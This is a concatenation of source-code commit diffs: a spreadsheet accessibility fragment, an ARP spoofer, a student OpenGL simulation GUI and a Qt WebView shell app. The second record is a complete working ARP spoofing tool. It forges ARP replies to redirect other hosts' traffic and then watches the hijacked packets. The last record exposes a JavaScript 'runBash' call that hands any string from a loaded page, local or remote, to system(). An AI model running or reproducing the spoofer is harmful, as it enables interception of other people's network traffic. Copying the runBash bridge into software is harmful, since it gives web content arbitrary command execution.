(rxParentStates.is() && rxParentStates->contains(AccessibleStateType::DEFUNC));
}
void ScAccessiblePageHeader::AddChild(const EditTextObject* pArea, sal_uInt32 nIndex, SvxAdjust eAdjust)
{
if (pArea && (pArea->GetText(0).Len() || (pArea->GetParagraphCount() > 1)))
{
if (maAreas[nIndex])
{
if (!ScGlobal::EETextObjEqual(maAreas[nIndex]->GetEditTextObject(), pArea))
{
maAreas[nIndex]->release();
maAreas[nIndex] = new ScAccessiblePageHeaderArea(this, mpViewShell, pArea, mbHeader, eAdjust);
maAreas[nIndex]->acquire();
}
}
else
{
maAreas[nIndex] = new ScAccessiblePageHeaderArea(this, mpViewShell, pArea, mbHeader, eAdjust);
maAreas[nIndex]->acquire();
}
++mnChildCount;
}
else
{
if (maAreas[nIndex])
{
maAreas[nIndex]->release();
maAreas[nIndex] = NULL;
}
}
}
<|endoftext|>
|
<commit_before>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h> // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h> // ifr struct
#include <netinet/ether.h> // header ethernet
#include <netinet/in.h> // protocol definitions
#include <netinet/in_systm.h> // tipos de dados (???)
#include <netpacket/packet.h>
#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <mutex>
#include <thread>
#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"
using namespace Colors;
void SIGINTHandler(int);
std::mutex runMutex;
int run = 1;
void attack(int socket, int ivalue, BYTE* intMac, const Arp arp)
{
Arp reply = arp;
reply.operation = 2;
memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
memcpy(reply.senderHAddr, intMac, HLEN);
BYTE ipSwap[PLEN];
memcpy(ipSwap, reply.targetPAddr, PLEN);
memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
memcpy(reply.senderPAddr, ipSwap, PLEN);
Ethernet ethernet;
memcpy(ethernet.destination, reply.targetHAddr, HLEN);
memcpy(ethernet.source, reply.senderHAddr, HLEN);
ethernet.etherType = 0x0806;
int size = 0;
BYTE buff[BUFFSIZE];
size += ethernet.ToBuffer(&buff[0]);
size += reply.ToBuffer(&buff[14]);
std::cout << "Mounting ARP Reply...";
ok();
std::cout << std::endl;
std::cout << ethernet.ToString() << std::endl;
std::cout << reply.ToString() << std::endl;
struct sockaddr_ll destAddr;
destAddr.sll_family = htons(PF_PACKET);
destAddr.sll_protocol = htons(ETH_P_ALL);
destAddr.sll_halen = HLEN;
destAddr.sll_ifindex = 3;
memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);
std::cout << green << "Engaging attack!" << std::endl;
int count = 0;
while (run)
{
runMutex.lock();
int ret;
if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
error();
return;
}
count++;
std::this_thread::sleep_for(std::chrono::milliseconds(100));
runMutex.unlock();
}
std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
ok();
}
void monitor(int socket, const Arp& arp)
{
BYTE buff[BUFFSIZE];
while (run)
{
runMutex.lock();
recv(socket, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_IPv4)
{
Ip ip(&buff[14]);
if (CompareIP(arp.targetPAddr, ip.targetAddr))
{
std::cout << std::endl << "ATAQUE FOI UM SUCESSO!" << std::endl;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(100));
runMutex.unlock();
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
std::cerr << "Usage: spoofer <interface>" << std::endl;
exit(-1);
}
BYTE intMac[HLEN];
BYTE intIp[PLEN];
std::thread* attackThread = nullptr;
std::thread* monitorThread = nullptr;
std::cout << "Capture SIGINT...";
if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
{
error();
exit(-1);
}
ok();
std::cout << "Create socket...";
int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockd < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Retrieve interface index...";
struct ifreq ifr;
strcpy(ifr.ifr_name, argv[1]);
if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Retrieve interface hardware address...";
if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);
ok();
std::cout << "Retrieve interface protocol address...";
if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);
ok();
std::cout << "Retrieve interface flags... ";
if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Set interface to PROMISCUOUS mode... ";
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
ok();
BYTE buff[BUFFSIZE];
while (run)
{
recv(sockd, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_ARP)
{
Arp arp(&buff[14]);
if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
{
std::cout << std::endl << arp.ToString() << std::endl;
attackThread = new std::thread(attack, sockd, ifr.ifr_ifindex, intMac, arp);
monitorThread = new std::thread(monitor, sockd, arp);
break;
}
}
}
if (attackThread != nullptr)
{
attackThread->join();
monitorThread->join();
}
ifr.ifr_flags &= ~IFF_PROMISC;
std::cout << "Unset interface from PROMISCUOUS mode...";
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
close(sockd);
return 0;
}
void SIGINTHandler(int sig)
{
std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
runMutex.lock();
run = 0;
runMutex.unlock();
}
<commit_msg>Fix bug on retrieving the interface index. Also, added a mechanism to skip ARP Requests.<commit_after>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h> // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h> // ifr struct
#include <netinet/ether.h> // header ethernet
#include <netinet/in.h> // protocol definitions
#include <netinet/in_systm.h> // tipos de dados (???)
#include <netpacket/packet.h>
#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <thread>
#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"
using namespace Colors;
void SIGINTHandler(int);
int run = 1;
void attack(int socket, int ifindex, BYTE* intMac, const Arp& arp)
{
Arp reply = arp;
reply.operation = 2;
memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
memcpy(reply.senderHAddr, intMac, HLEN);
BYTE ipSwap[PLEN];
memcpy(ipSwap, reply.targetPAddr, PLEN);
memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
memcpy(reply.senderPAddr, ipSwap, PLEN);
Ethernet ethernet;
memcpy(ethernet.destination, reply.targetHAddr, HLEN);
memcpy(ethernet.source, reply.senderHAddr, HLEN);
ethernet.etherType = 0x0806;
int size = 0;
BYTE buff[BUFFSIZE];
size += ethernet.ToBuffer(&buff[0]);
size += reply.ToBuffer(&buff[14]);
std::cout << "Mounting ARP Reply...";
ok();
std::cout << std::endl;
std::cout << ethernet.ToString() << std::endl;
std::cout << reply.ToString() << std::endl;
struct sockaddr_ll destAddr;
destAddr.sll_family = htons(PF_PACKET);
destAddr.sll_protocol = htons(ETH_P_ALL);
destAddr.sll_halen = HLEN;
destAddr.sll_ifindex = ifindex;
memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);
std::cout << green << "Engaging attack!" << std::endl;
int count = 0;
while (run)
{
int ret;
if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
error();
return;
}
count++;
std::this_thread::sleep_for(std::chrono::milliseconds(150));
}
std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
ok();
}
void monitor(int socket, const Arp& arp)
{
BYTE buff[BUFFSIZE];
while (run)
{
recv(socket, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_IPv4)
{
Ip ip(&buff[14]);
if (CompareIP(arp.targetPAddr, ip.targetAddr))
{
std::cout << std::endl << ip.ToString() << std::endl;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
std::cerr << "Usage: spoofer <interface>" << std::endl;
exit(-1);
}
BYTE intMac[HLEN];
BYTE intIp[PLEN];
std::thread* attackThread = nullptr;
std::thread* monitorThread = nullptr;
std::cout << "Capture SIGINT...";
if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
{
error();
exit(-1);
}
ok();
std::cout << "Create socket...";
int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockd < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Retrieve interface index...";
struct ifreq ifr;
strcpy(ifr.ifr_name, argv[1]);
if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
int ifindex = ifr.ifr_ifindex;
ok();
std::cout << "Retrieve interface hardware address...";
if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);
ok();
std::cout << "Retrieve interface protocol address...";
if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);
ok();
std::cout << "Retrieve interface flags... ";
if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Set interface to PROMISCUOUS mode... ";
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
ok();
BYTE buff[BUFFSIZE];
while (run)
{
recv(sockd, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_ARP)
{
Arp arp(&buff[14]);
if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
{
std::cout << std::endl << arp.ToString() << std::endl;
char ch = '\0';
while (ch != 'y' && ch != 'Y' && ch != 'n' && ch != 'N')
{
std::cout << "Attack? [Y/N] ";
std::cin >> ch;
}
if (ch == 'y' || ch == 'Y')
{
attackThread = new std::thread(attack, sockd, ifindex, intMac, arp);
monitorThread = new std::thread(monitor, sockd, arp);
break;
}
}
}
}
if (attackThread != nullptr)
{
attackThread->join();
monitorThread->join();
}
ifr.ifr_flags &= ~IFF_PROMISC;
std::cout << "Unset interface from PROMISCUOUS mode...";
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
close(sockd);
return 0;
}
void SIGINTHandler(int sig)
{
std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
run = 0;
}
<|endoftext|>
|
<commit_before>/* Nom: main.cpp
* Description: module sous-système de contrôle: gestion du dialogue
avec l'utilisateur et interface graphique
* Date: 08.02.2014
* version : 1.0
* responsable du module : Pauline Maury Laribière
* groupe : Alexandre Devienne, Pauline Maury Laribière
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//#include <GL/gl.h>
#include <GL/glu.h>
#include <GL/glui.h>
//#include <GL/glut.h>
#include <string.h>
extern "C"
{
#include "constantes.h"
#include "sim.h"
}
namespace
{
GLUI* Glui;
GLfloat aspect_ratio ;
int main_window;
GLUI_Panel *file;
GLUI_Panel *simulation;
GLUI_Panel *information;
char* live_var;
}
enum Boutton {START, STEP, QUIT};
//fonction pour opengl
void affichage(void);
void reshape(int w, int h);
void keyboard(unsigned char Key, int x, int y);
void mouse(int button, int button_state, int x, int y );
void idle(void);
//fonction pour le mode GRAPHIC
void initOpenGl(int * nb_element);
//fonction callback (interface)
void load_cb(int live_var);
void save_cb(int live_var);
void simulation_cb(int control);
// Mode of the simulation to be ran on, see specs sheet for details
enum Mode {ERROR, FORCE, INTEGRATION, GRAPHIC, SIMULATION, MODE_UNSET};
typedef enum Mode MODE;
// Return the mode read from a string (argv[1])
// return MODE_UNSET if string wasn't valid
static MODE read_mode(const char string[]);
int main (int argc, char *argv[])
{
enum Mode mode;
mode = MODE_UNSET;
int* nb_element;
if(argc==3)
{
mode = read_mode(argv[1]);
}
switch(mode)
{
case ERROR: sim_error(argv[2]);
break;
case FORCE: sim_force(argv[2]);
break;
case INTEGRATION: //sim_integration(argv[2]);
break;
case GRAPHIC:
nb_element = sim_graphic(argv[2]);
glutInit(&argc, argv);
initOpenGl(nb_element);
break;
case SIMULATION: //sim_simulation(argv[2]);
break;
case MODE_UNSET: printf("Syntaxe attendue : sim.x [Error"
"|Force|Integration|Graphic|Simulation,"
"nom_fichier]\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
static MODE read_mode(const char string[])
{
MODE mode;
if(strcmp(string, "Error" ) == 0)
{
mode = ERROR;
}
else if (strcmp(string, "Force" ) == 0)
{
mode = FORCE;
}
else if (strcmp(string, "Integration" ) == 0)
{
mode = INTEGRATION;
}
else if (strcmp(string, "Graphic" ) == 0)
{
mode = GRAPHIC;
}
else if (strcmp(string, "Simulation" ) == 0)
{
mode = SIMULATION;
}
else
{
mode = MODE_UNSET;
}
return mode;
}
void initOpenGl(int * nb_element)
{
/*Initialise Glut and Create Window*/
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH); // ??
glutInitWindowPosition(200, 200);
glutInitWindowSize(250, 250);
main_window = glutCreateWindow("Microcosmos");
glClearColor(1.0, 1.0, 1.0, 0.0);
glutDisplayFunc(affichage);
glutReshapeFunc(reshape);
glutKeyboardFunc(keyboard);
glutMouseFunc(mouse);
/*Code GLUI pour l'interface*/
GLUI *glui = GLUI_Master.create_glui( "GLUI", 0, 400, 50 );
//File
file = glui->add_panel("File" );
glui-> add_edittext_to_panel(file, "Filename", GLUI_EDITTEXT_TEXT, live_var, -1, load_cb);
glui-> add_button_to_panel(file,"Load", -1, load_cb);
glui-> add_edittext_to_panel(file, "Filename", GLUI_EDITTEXT_TEXT, live_var, -1, save_cb);
glui-> add_button_to_panel(file,"Save", -1, save_cb);
//Simulation
simulation = glui->add_panel("Simulation" );
glui->add_button_to_panel(simulation ,"Start", START, simulation_cb);
glui->add_button_to_panel(simulation ,"Step", STEP, simulation_cb); //A FINIR
//Information
information = glui->add_panel("Information" );
GLUI_EditText *nb_particule = glui-> add_edittext_to_panel(information, "Nb Particule", GLUI_EDITTEXT_INT);
nb_particule->set_int_val(nb_element[0]);
GLUI_EditText *nb_generateur = glui-> add_edittext_to_panel(information, "Nb Generateur", GLUI_EDITTEXT_INT);
nb_generateur->set_int_val(nb_element[1]);
GLUI_EditText *nb_trou_noir = glui-> add_edittext_to_panel(information, "Nb Trou noir", GLUI_EDITTEXT_INT);
nb_trou_noir->set_int_val(nb_element[2]);
glui->add_button( "Quit", QUIT, (GLUI_Update_CB) simulation_cb);
glui->set_main_gfx_window( main_window );
GLUI_Master.set_glutIdleFunc(idle);
glutMainLoop();
}
void load_cb(int control, const char* live_var)
{
sim_graphic(live_var);
glutIdleFunc(NULL);
}
void save_cb(int control, const char* live_var)
{
//enregistre etat actuel de simulation dans ce fichier
FILE *fichier = NULL;
fichier = fopen(live_var,"w");
fprintf(fichier, "%s", sim_ecriture());
fclose(fichier);
}
void simulation_cb(int control)
{
enum Etat {ON, OFF};
enum Etat etat;
etat = ON;
switch(control)
{
case START:
if(etat==ON)
{
glutIdleFunc(NULL);
etat = OFF;
}
else if(etat==OFF)
{
glutIdleFunc(idle);
etat = ON;
}
glutSetWindow( main_window );
glutPostRedisplay( );
break;
case STEP:
glutIdleFunc(NULL);
etat = OFF;
//calcule seulement un pas
glutSetWindow( main_window );
glutPostRedisplay( );
break;
case QUIT:
Glui->close(); //ferme fenetre glui
glutSetWindow(main_window);
glFinish(); //ferme les images
glutDestroyWindow(main_window); //ferme fenetre image
exit(0); //quitte programme
break;
default:
fprintf(stderr, "Don't know what to do with Button ID %d\n", control);
}
}
void affichage(void)
{
GLfloat gauche= -RMAX, droite = RMAX, bas= -RMAX, haut= RMAX;
glClear(GL_COLOR_BUFFER_BIT);
glLoadIdentity();
if (aspect_ratio <= 1.)
glOrtho(gauche, droite, bas/aspect_ratio, haut/aspect_ratio, -1.0, 1.0);
else
glOrtho(gauche*aspect_ratio, droite*aspect_ratio, bas, haut, -1.0, 1.0);
glutSwapBuffers();
}
void reshape(int w, int h)
{
glViewport(0, 0, w, h);
aspect_ratio = (GLfloat) w / (GLfloat) h ;
glutPostRedisplay();
}
void mouse(int button, int button_state, int x, int y )
{
if (button == GLUT_LEFT_BUTTON && button_state == GLUT_DOWN )
{
//particule la plus proche selectionnée //part_closestPart(POINT point);
//doit rester immobile
//peut aussi selectionner generateur ou trou_noir
}
}
void keyboard(unsigned char Key, int x, int y)
{
if(1) // si une entitée est selectionnée
{ switch(Key)
{
case 'd': //détruire entitée //part_deletePart
break;
default : //rien
break;
}
}
glutPostRedisplay();
}
void idle(void)
{
if ( glutGetWindow() != main_window )
glutSetWindow(main_window);
glutPostRedisplay();
}
<commit_msg>dernier changements ddimanche<commit_after>/* Nom: main.cpp
* Description: module sous-système de contrôle: gestion du dialogue
avec l'utilisateur et interface graphique
* Date: 08.02.2014
* version : 1.0
* responsable du module : Pauline Maury Laribière
* groupe : Alexandre Devienne, Pauline Maury Laribière
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//#include <GL/gl.h>
#include <GL/glu.h>
#include <GL/glui.h>
//#include <GL/glut.h>
#include <string.h>
extern "C"
{
#include "constantes.h"
#include "sim.h"
}
namespace
{
GLUI* Glui;
GLfloat aspect_ratio ;
int main_window;
GLUI_Panel *file;
GLUI_Panel *simulation;
GLUI_Panel *information;
char* live_var;
}
enum Boutton {START, STEP, QUIT};
//fonction pour opengl
void affichage(void);
void reshape(int w, int h);
void keyboard(unsigned char Key, int x, int y);
void mouse(int button, int button_state, int x, int y );
void idle(void);
//fonction pour le mode GRAPHIC
void initOpenGl(int * nb_element);
//fonction callback (interface)
void load_cb(int live_var);
void save_cb(int live_var);
void simulation_cb(int control);
// Mode of the simulation to be ran on, see specs sheet for details
enum Mode {ERROR, FORCE, INTEGRATION, GRAPHIC, SIMULATION, MODE_UNSET};
typedef enum Mode MODE;
// Return the mode read from a string (argv[1])
// return MODE_UNSET if string wasn't valid
static MODE read_mode(const char string[]);
int main (int argc, char *argv[])
{
enum Mode mode;
mode = MODE_UNSET;
int* nb_element;
if(argc==3)
{
mode = read_mode(argv[1]);
}
switch(mode)
{
case ERROR: sim_error(argv[2]);
break;
case FORCE: sim_force(argv[2]);
break;
case INTEGRATION: //sim_integration(argv[2]);
break;
case GRAPHIC:
nb_element = sim_graphic(argv[2]);
glutInit(&argc, argv);
initOpenGl(nb_element);
break;
case SIMULATION: //sim_simulation(argv[2]);
break;
case MODE_UNSET: printf("Syntaxe attendue : sim.x [Error"
"|Force|Integration|Graphic|Simulation,"
"nom_fichier]\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
static MODE read_mode(const char string[])
{
MODE mode;
if(strcmp(string, "Error" ) == 0)
{
mode = ERROR;
}
else if (strcmp(string, "Force" ) == 0)
{
mode = FORCE;
}
else if (strcmp(string, "Integration" ) == 0)
{
mode = INTEGRATION;
}
else if (strcmp(string, "Graphic" ) == 0)
{
mode = GRAPHIC;
}
else if (strcmp(string, "Simulation" ) == 0)
{
mode = SIMULATION;
}
else
{
mode = MODE_UNSET;
}
return mode;
}
void initOpenGl(int * nb_element)
{
/*Initialise Glut and Create Window*/
glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE | GLUT_DEPTH); // ??
glutInitWindowPosition(200, 200);
glutInitWindowSize(250, 250);
main_window = glutCreateWindow("Microcosmos");
glClearColor(1.0, 1.0, 1.0, 0.0);
glutDisplayFunc(affichage);
glutReshapeFunc(reshape);
glutKeyboardFunc(keyboard);
glutMouseFunc(mouse);
/*Code GLUI pour l'interface*/
GLUI *glui = GLUI_Master.create_glui( "GLUI", 0, 400, 50 );
//File
file = glui->add_panel("File" );
glui-> add_edittext_to_panel(file, "Filename", GLUI_EDITTEXT_TEXT, live_var, -1, load_cb);
glui-> add_button_to_panel(file,"Load", -1, load_cb);
glui-> add_edittext_to_panel(file, "Filename", GLUI_EDITTEXT_TEXT, live_var, -1, save_cb);
glui-> add_button_to_panel(file,"Save", -1, save_cb);
//Simulation
simulation = glui->add_panel("Simulation" );
glui->add_button_to_panel(simulation ,"Start", START, simulation_cb);
glui->add_button_to_panel(simulation ,"Step", STEP, simulation_cb); //A FINIR
//Information
information = glui->add_panel("Information" );
GLUI_EditText *nb_particule = glui-> add_edittext_to_panel(information, "Nb Particule", GLUI_EDITTEXT_INT);
nb_particule->set_int_val(nb_element[0]);
GLUI_EditText *nb_generateur = glui-> add_edittext_to_panel(information, "Nb Generateur", GLUI_EDITTEXT_INT);
nb_generateur->set_int_val(nb_element[1]);
GLUI_EditText *nb_trou_noir = glui-> add_edittext_to_panel(information, "Nb Trou noir", GLUI_EDITTEXT_INT);
nb_trou_noir->set_int_val(nb_element[2]);
glui->add_button( "Quit", QUIT, (GLUI_Update_CB) simulation_cb);
glui->set_main_gfx_window( main_window );
GLUI_Master.set_glutIdleFunc(idle);
glutMainLoop();
}
void load_cb(int control, const char* live_var)
{
sim_graphic(live_var);
glutIdleFunc(NULL);
}
void save_cb(int control, const char* live_var)
{
//enregistre etat actuel de simulation dans ce fichier
FILE *fichier = NULL;
fichier = fopen(live_var,"w");
fprintf(fichier, "%s", sim_ecriture());
fclose(fichier);
}
void simulation_cb(int control)
{
enum Etat {ON, OFF};
enum Etat etat;
etat = ON;
switch(control)
{
case START:
if(etat==ON)
{
glutIdleFunc(NULL);
etat = OFF;
}
else if(etat==OFF)
{
glutIdleFunc(idle);
etat = ON;
}
glutSetWindow( main_window );
glutPostRedisplay( );
break;
case STEP:
glutIdleFunc(NULL);
etat = OFF;
//calcule seulement un pas
glutSetWindow(main_window);
glutPostRedisplay();
break;
case QUIT:
Glui->close(); //ferme fenetre glui
glutSetWindow(main_window);
glFinish(); //ferme les images
glutDestroyWindow(main_window); //ferme fenetre image
exit(0); //quitte programme
break;
default:
fprintf(stderr, "Don't know what to do with Button ID %d\n", control);
}
}
void affichage(void)
{
GLfloat gauche= -RMAX, droite = RMAX, bas= -RMAX, haut= RMAX;
glClear(GL_COLOR_BUFFER_BIT);
glLoadIdentity();
if (aspect_ratio <= 1.)
glOrtho(gauche, droite, bas/aspect_ratio, haut/aspect_ratio, -1.0, 1.0);
else
glOrtho(gauche*aspect_ratio, droite*aspect_ratio, bas, haut, -1.0, 1.0);
//voir: 6. Affichage et interaction dans la fenetre graphique
glutSwapBuffers();
}
void reshape(int w, int h)
{
glViewport(0, 0, w, h);
aspect_ratio = (GLfloat) w / (GLfloat) h ;
glutPostRedisplay();
}
void mouse(int button, int button_state, int x, int y )
{
if (button == GLUT_LEFT_BUTTON && button_state == GLUT_DOWN )
{
//particule la plus proche selectionnée //part_closestPart(POINT point);
//doit rester immobile
//peut aussi selectionner generateur ou trou_noir
}
}
void keyboard(unsigned char Key, int x, int y)
{
if(1) // si une entitée est selectionnée
{ switch(Key)
{
case 'd': //détruire entitée
break;
default : //rien
break;
}
}
glutPostRedisplay();
}
void idle(void)
{
if ( glutGetWindow() != main_window )
glutSetWindow(main_window);
glutPostRedisplay();
}
<|endoftext|>
|
<commit_before>#include "mainwindow.h"
#include <QWebView>
#include <QtWidgets>
#include <QWebFrame>
#include <QDir>
#include <QApplication>
#include <QDebug>
#include <QWebPage>
#include <QObject>
#include <QWindow>
#include <QWebInspector>
/*
* Utility:
* ./exectuable pageAddress width height decoration (BOTTOM_MOST)
*
* - pageAddress: the html file path or url
* - width: integer that represent the width of the window
* - height: integer that represent the height of the window
* - decoration: if it is "UNDECORATED" the window will be undecorated (it will not have
* borders and the window buttons
*
* */
QWebView *webView;
/*
* Javascript functions (Public API)
* */
class MyJavaScriptOperations : public QObject {
Q_OBJECT
public:
/*
* Close window
* $API.closeWindow();
*
**/
Q_INVOKABLE void closeWindow () {
webView->close();
}
/*
* Resize
* $API.resize(width, height);
*
**/
Q_INVOKABLE void resize (int width, int height) {
webView->resize(width, height);
}
/*
* Set window flags
* $API.setWindowFlags (type)
* - UNDECORATED
*
* */
Q_INVOKABLE void setWindowFlags (QString type) {
QStringList options;
options << "UNDECORATED"
<< "BOTTOM_MOST"
<< "TOP_MOST"
<< "REMOVE_MINIMIZE"
<< "REMOVE_MAXIMIZE"
<< "REMOVE_CLOSE";
switch (options.indexOf(type)) {
case 0:
webView->setWindowFlags(Qt::FramelessWindowHint | webView->windowFlags());
webView->show();
break;
case 1:
webView->setWindowFlags(Qt::WindowStaysOnBottomHint | webView->windowFlags());
webView->show();
break;
case 2:
webView->setWindowFlags(Qt::WindowStaysOnTopHint | webView->windowFlags());
webView->show();
break;
case 3:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowMinimizeButtonHint);
webView->show();
break;
case 4:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowMaximizeButtonHint);
webView->show();
break;
case 5:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowCloseButtonHint);
webView->show();
break;
// TODO Other cases
}
}
/*
* Set window state
* $API.setWindowState (value)
* - MAXIMIZED
* - MINIMIZED
* - FULLSCREEN
* - ACTIVE
* */
Q_INVOKABLE void setWindowState (QString type) {
QStringList options;
options << "MAXIMIZED" << "MINIMIZED" << "FULLSCREEN" << "ACTIVATE" << "RESTORED";
switch (options.indexOf(type)) {
case 0:
webView->setWindowState(Qt::WindowMaximized);
break;
case 1:
webView->setWindowState(Qt::WindowMinimized);
break;
case 2:
webView->setWindowState(Qt::WindowFullScreen);
break;
case 3:
webView->setWindowState(Qt::WindowActive);
break;
case 4:
webView->setWindowState(Qt::WindowNoState);
break;
}
}
/*
* Get window size
* $API.getWindowSize ()
* */
Q_INVOKABLE QObject *getWindowSize () {
QObject *size = new QObject();
QSize winSize = webView->size();
size->setProperty("width", winSize.width());
size->setProperty("height", winSize.height());
return size;
}
/*
* Get screen size
* $API.getScreenSize ()
*
* */
Q_INVOKABLE QObject *getScreenSize () {
QObject *size = new QObject();
QSize screenSize = qApp->primaryScreen()->size();
size->setProperty("width", screenSize.width());
size->setProperty("height", screenSize.height());
return size;
}
/*
* Set window position
* $API.setWindowPosition (left, top)
* */
Q_INVOKABLE void setWindowPosition (int left, int top) {
webView->move(left, top);
}
/*
* Get window position
* $API.getWindowPosition (left, top)
* */
Q_INVOKABLE QObject *getWindowPosition () {
QObject *position = new QObject();
QPoint point = webView->pos();
position->setProperty("left", point.x());
position->setProperty("top", point.y());
return position;
}
/*
* Get mouse position
* $API.getMousePosition()
*
* */
Q_INVOKABLE QObject *getMousePosition () {
QObject *position = new QObject();
QPoint point = QCursor::pos();
position->setProperty("left", point.x());
position->setProperty("top", point.y());
return position;
}
/*
* Set mouse position
* $API.setMousePosition()
*
* */
Q_INVOKABLE void setMousePosition (int x, int y) {
QCursor::setPos(x, y);
}
/*
* Creates a new window
* $API.newWindow(options);
* */
// TODO Is this really needed?
// Q_INVOKABLE void newWindow () {
// QWindow newWindow = new QWindow();
// newWindow.show();
// }
/*
* Sets the title of the current window
* $API.setWindowTitle(newTitle)
*
* */
Q_INVOKABLE void setWindowTitle (QString newTitle) {
webView->setWindowTitle(newTitle);
}
/*
* Debug
* $API.debug(message)
*
* */
Q_INVOKABLE void debug (QString message) {
qDebug() << message;
}
/*
* Insepct element
* $API.inspectElement()
*
* */
Q_INVOKABLE void inspectElement () {
webView->pageAction(QWebPage::InspectElement)->trigger();
}
/*
* Run bash commands
* $API.debug(command)
*
* */
Q_INVOKABLE void runBash (QString command) {
system(qPrintable(command));
// TODO return output (e.g for `ps aux`)
}
};
int main(int argc, char *argv[])
{
QApplication app(argc, argv);
// build the web view
QWebView *view = new QWebView();
webView = view;
// get the html path
QString HTML_PATH = QString(argv[1]);
// the path is NOT a web site url
if (!HTML_PATH.startsWith("htt"))
{
// get it from the local machine
HTML_PATH = "file://" + QDir::current().absolutePath() + QDir::separator() + HTML_PATH;
}
// set window width and height
int WINDOW_WIDTH = QString(argv[2]).toInt();
int WINDOW_HEIGHT = QString(argv[3]).toInt();
// handle "UNDECORATED" flag
if (QString(argv[4]) == "UNDECORATED") {
// set background transparent for webview
QPalette pal = view->palette();
pal.setBrush(QPalette::Base, Qt::transparent);
view->page()->setPalette(pal);
view->setAttribute(Qt::WA_TranslucentBackground);
view->setWindowFlags(Qt::FramelessWindowHint | view->windowFlags());
}
QStringList appArgv = app.arguments();
if (appArgv.contains("--debug")) {
qDebug() << " * Debug mode.";
view->page()->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
QWebInspector inspector;
inspector.setPage(view->page());
inspector.setVisible(true);
}
